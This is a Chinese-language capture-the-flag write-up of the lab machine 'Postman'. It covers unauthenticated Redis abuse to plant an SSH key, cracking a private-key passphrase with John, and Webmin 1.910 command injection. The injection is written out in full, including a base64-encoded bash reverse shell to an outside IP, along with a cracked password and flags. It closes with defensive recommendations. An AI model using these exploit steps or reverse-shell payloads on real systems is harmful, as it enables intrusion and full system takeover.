[Meachines] [Easy] Postman Redis未授权访问-SSH公钥注入+RSA私钥解密+Webmin-RCE权限提升
字数 1227 2025-08-20 18:18:23

Redis未授权访问-SSH公钥注入+RSA私钥解密+Webmin-RCE权限提升完整教学

1. 信息收集阶段

1.1 端口扫描

使用Nmap对目标IP(10.10.10.160)进行扫描:

nmap -p- 10.10.10.160 --min-rate 1000 -sC -sV

扫描结果:

  • 22/tcp:OpenSSH 7.6p1 (Ubuntu)
  • 80/tcp:Apache httpd 2.4.29
  • 6379/tcp:Redis key-value store 4.0.9
  • 10000/tcp:Webmin 1.910

1.2 服务识别

  • SSH:OpenSSH 7.6p1,可能存在漏洞
  • Redis:4.0.9版本,可能存在未授权访问漏洞
  • Webmin:1.910版本,已知存在RCE漏洞

2. Redis未授权访问利用

2.1 连接Redis

redis-cli -h 10.10.10.160

2.2 检查配置

CONFIG GET *
CONFIG GET dir

2.3 修改Redis持久化目录

CONFIG SET dir /var/lib/redis/.ssh

2.4 SSH公钥注入

  1. 生成SSH公钥(如果不存在):
ssh-keygen -t ed25519
  1. 准备公钥文件:
(echo -e "\n\n";cat ~/.ssh/id_ed25519.pub;echo -e "\n\n")>key.txt
cat key.txt | redis-cli -h 10.10.10.160 -x set id_rsa_key
  1. 验证公钥已设置:
GET id_rsa_key
  1. 配置Redis将数据保存为authorized_keys:
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
SAVE
EXIT

2.5 通过SSH连接

ssh -i ~/.ssh/id_ed25519 redis@10.10.10.160

3. RSA私钥解密

3.1 查找备份私钥

cat /opt/id_rsa.bak

3.2 使用John破解私钥密码

  1. 转换私钥为John可识别格式:
ssh2john id_rsa > id_rsa.john
  1. 使用rockyou.txt字典破解:
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.john

获取密码:computer2008

3.3 切换用户

su Matt

获取User Flag:9d90e967236578fdf6be43ea87c03a53

4. Webmin RCE权限提升

4.1 识别Webmin版本

whatweb https://10.10.10.160:10000 -v

4.2 查找Webmin漏洞

已知Webmin 1.910存在远程代码执行漏洞:

searchsploit Webmin

参考漏洞利用代码:
https://github.com/KentVolt/Webmin-1.910-Exploit

4.3 登录Webmin

使用之前获取的凭据:

  • 用户名:Matt
  • 密码:computer2008

4.4 利用Package Updates RCE

  1. 访问漏洞URL:
https://10.10.10.160:10000/package-updates/?xnavigation=1
  1. 构造恶意请求:
POST /package-updates/update.cgi HTTP/1.1
Host: 10.10.10.160:10000
Cookie: redirect=1; testing=1; sid=43462a3948984572e11138d45052c3d8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 19

u=acl%2Fapt&u=$(ping%20-c%201%2010.10.16.14)
  1. 获取反向Shell:
u=acl%2Fapt&u=$(echo${IFS}"L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTQvMTAwMzUgMD4mMScK"|base64${IFS}-d|bash)

其中base64解码后为:

/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.14/10035 0>&1'

4.5 获取Root权限

成功获取root shell后:

cat /root/root.txt

获取Root Flag:ded02459b6863f771d4371e25ee2c11c

5. 漏洞总结

  1. Redis未授权访问:配置不当导致无需认证即可访问Redis服务
  2. SSH公钥注入:利用Redis持久化机制写入SSH公钥
  3. 弱密码私钥:备份的RSA私钥使用弱密码保护
  4. Webmin RCE:1.910版本存在命令注入漏洞,可通过Package Updates功能执行任意命令

6. 防御措施

  1. Redis安全配置

    • 设置requirepass
    • 绑定特定IP
    • 禁用危险命令
  2. SSH安全

    • 禁用root登录
    • 使用密钥认证
    • 限制.ssh目录权限
  3. Webmin安全

    • 及时更新到最新版本
    • 限制访问IP
    • 使用强密码
  4. 系统安全

    • 定期检查备份文件权限
    • 监控可疑进程
    • 实施最小权限原则
Redis未授权访问-SSH公钥注入+RSA私钥解密+Webmin-RCE权限提升完整教学 1. 信息收集阶段 1.1 端口扫描 使用Nmap对目标IP(10.10.10.160)进行扫描: 扫描结果: 22/tcp :OpenSSH 7.6p1 (Ubuntu) 80/tcp :Apache httpd 2.4.29 6379/tcp :Redis key-value store 4.0.9 10000/tcp :Webmin 1.910 1.2 服务识别 SSH :OpenSSH 7.6p1,可能存在漏洞 Redis :4.0.9版本,可能存在未授权访问漏洞 Webmin :1.910版本,已知存在RCE漏洞 2. Redis未授权访问利用 2.1 连接Redis 2.2 检查配置 2.3 修改Redis持久化目录 2.4 SSH公钥注入 生成SSH公钥(如果不存在): 准备公钥文件: 验证公钥已设置: 配置Redis将数据保存为authorized_ keys: 2.5 通过SSH连接 3. RSA私钥解密 3.1 查找备份私钥 3.2 使用John破解私钥密码 转换私钥为John可识别格式: 使用rockyou.txt字典破解: 获取密码 :computer2008 3.3 切换用户 获取User Flag :9d90e967236578fdf6be43ea87c03a53 4. Webmin RCE权限提升 4.1 识别Webmin版本 4.2 查找Webmin漏洞 已知Webmin 1.910存在远程代码执行漏洞: 参考漏洞利用代码: https://github.com/KentVolt/Webmin-1.910-Exploit 4.3 登录Webmin 使用之前获取的凭据: 用户名:Matt 密码:computer2008 4.4 利用Package Updates RCE 访问漏洞URL: 构造恶意请求: 获取反向Shell: 其中base64解码后为: 4.5 获取Root权限 成功获取root shell后: 获取Root Flag :ded02459b6863f771d4371e25ee2c11c 5. 漏洞总结 Redis未授权访问 :配置不当导致无需认证即可访问Redis服务 SSH公钥注入 :利用Redis持久化机制写入SSH公钥 弱密码私钥 :备份的RSA私钥使用弱密码保护 Webmin RCE :1.910版本存在命令注入漏洞,可通过Package Updates功能执行任意命令 6. 防御措施 Redis安全配置 : 设置requirepass 绑定特定IP 禁用危险命令 SSH安全 : 禁用root登录 使用密钥认证 限制.ssh目录权限 Webmin安全 : 及时更新到最新版本 限制访问IP 使用强密码 系统安全 : 定期检查备份文件权限 监控可疑进程 实施最小权限原则